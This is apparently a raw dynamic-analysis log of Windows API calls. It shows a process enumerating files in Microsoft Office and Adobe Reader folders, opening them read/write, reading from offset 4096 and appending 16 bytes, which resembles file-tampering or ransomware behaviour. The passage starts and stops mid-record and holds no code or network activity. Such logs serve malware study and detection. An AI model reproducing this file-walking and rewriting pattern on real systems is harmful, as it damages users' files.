ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa531f86, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa531f86, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x46a153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0272.841] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3dba42, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3dba42, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb16b0a3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb16b0a3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0272.842] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6ac83cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6ac83cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb62ec35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb62ec35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf447c679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf447c679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0272.843] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf447c679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf447c679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0272.843] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0272.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0272.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0272.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0272.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x394b610 | out: lpFileInformation=0x394b610*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1095)) returned 1 [0272.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0272.844] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.845] GetFileType (hFile=0x864) returned 0x1 [0272.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.845] GetFileType (hFile=0x864) returned 0x1 [0272.845] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0272.845] ReadFile (in: hFile=0x864, lpBuffer=0x394bac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x394bac8*, lpNumberOfBytesRead=0x206ec9c8*=0x95, lpOverlapped=0x0) returned 1 [0272.847] CloseHandle (hObject=0x864) returned 1 [0272.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.848] GetFileType (hFile=0x864) returned 0x1 [0272.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.848] GetFileType (hFile=0x864) returned 0x1 [0272.848] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1095 [0272.848] WriteFile (in: hFile=0x864, lpBuffer=0x394ce90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x394ce90*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0272.848] CloseHandle (hObject=0x864) returned 1 [0272.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0272.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0272.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0272.862] GetFileType (hFile=0x864) returned 0x1 [0272.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0272.862] GetFileType (hFile=0x864) returned 0x1 [0272.862] ReadFile (in: hFile=0x864, lpBuffer=0x394f1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x394f1a0*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 Thread: id = 240 os_tid = 0xcf8 [0200.358] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0200.606] CoGetContextToken (in: pToken=0x207eeb80 | out: pToken=0x207eeb80) returned 0x0 [0200.606] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x207eebb8 | out: ppvObject=0x207eebb8*=0x12e64e8) returned 0x0 [0200.606] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x207eec28 | out: pThreadType=0x207eec28*=0) returned 0x0 [0200.606] IUnknown:Release (This=0x12e64e8) returned 0x0 [0200.606] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0200.606] CoUninitialize () [0200.606] RoInitialize () returned 0x1 [0200.606] RoUninitialize () returned 0x0 [0200.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0200.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x6a [0200.608] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.609] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0200.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0200.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edcf0) returned 1 [0200.609] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw", nBufferLength=0x105, lpBuffer=0x207ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw", lpFilePart=0x0) returned 0x6a [0200.609] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\*", lpFindFileData=0x207eda10 | out: lpFindFileData=0x207eda10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0200.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.610] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.610] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ed9d0 | out: lpFindFileData=0x207ed9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0200.610] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0200.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edc30) returned 1 [0200.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207edbf0) returned 1 [0200.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207edaa0) returned 1 [0200.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3748140 | out: lpFileInformation=0x3748140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c34)) returned 1 [0200.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eda60) returned 1 [0200.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x207ed480, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0200.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed9a0) returned 1 [0200.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0200.611] GetFileType (hFile=0x854) returned 0x1 [0200.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed910) returned 1 [0200.611] GetFileType (hFile=0x854) returned 0x1 [0200.611] SetFilePointer (in: hFile=0x854, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207edaf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207edaf8*=0) returned 0x1000 [0200.611] ReadFile (in: hFile=0x854, lpBuffer=0x3748628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207edac8, lpOverlapped=0x0 | out: lpBuffer=0x3748628*, lpNumberOfBytesRead=0x207edac8*=0xc34, lpOverlapped=0x0) returned 1 [0200.613] CloseHandle (hObject=0x854) returned 1 [0200.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 